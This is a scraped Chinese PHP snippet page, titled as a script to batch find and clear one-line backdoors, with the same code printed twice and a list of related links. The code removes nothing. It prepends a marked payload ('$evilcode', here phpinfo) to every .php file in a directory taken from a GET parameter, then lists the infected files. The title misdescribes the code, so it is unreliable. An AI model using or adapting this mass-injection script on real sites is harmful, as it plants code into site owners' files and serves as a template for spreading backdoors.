用php实现批量查询清除一句话后门的代码
作者:bea
总是忘记一句话放到哪个文件里去了,直接全部干掉... 代码如下: <?//xy7 if(!isset($dir)orempty($dir)){ $dir=str_replace('\','/',dirname(__FILE__)); echo"<fontcolor="#00688B">".$dir."</font>"; }else{ $dir=$_GET['dir']; echo"<fontcolor="#00688B"&g
总是忘记一句话放到哪个文件里去了,直接全部干掉...
代码如下:
<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\','/',dirname(__FILE__));
echo "<font color="#00688B">".$dir."</font>";
} else {
$dir=$_GET['dir'];
echo "<font color="#00688B">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被X的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg(".php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));
echo "<tr>
";
echo "<td>$file</td>
";
echo " <td>$lastsave</td>
";
echo " <td>$size Bytes</td>
";
}
}
}
@closedir($dirs);
?>
</table>
codz by xuanmumu
有用 | 无用
代码如下:
<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\','/',dirname(__FILE__));
echo "<font color="#00688B">".$dir."</font>";
} else {
$dir=$_GET['dir'];
echo "<font color="#00688B">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被X的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg(".php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));
echo "<tr>
";
echo "<td>$file</td>
";
echo " <td>$lastsave</td>
";
echo " <td>$size Bytes</td>
";
}
}
}
@closedir($dirs);
?>
</table>
codz by xuanmumu
有用 | 无用
猜你喜欢
您可能感兴趣的文章:
- php木马攻击防御之道
- php入门小知识
- PHP 实例化类的一点摘记
- 深思 PHP 数组遍历的差异(array_diff 的实现)
- 附件名前加网站名
- 由php if 想到的些问题
- php实现mysql数据库备份类
- php 常用字符串函数总结
- php str_replace的替换漏洞
- PHP执行速率优化技巧小结
- 请php正则走开
- 可以在线执行PHP代码包装修正版
- PHP Token(令牌)设计
- Apache+php+mysql在windows下的安装与配置(图文)
- php项目打包方法
- PHP4与PHP5的时间格式问题
- PHP5 面向对象程序设计
- Dedecms常用函数解析
- PHP 5.0创建图形的实用方法完整篇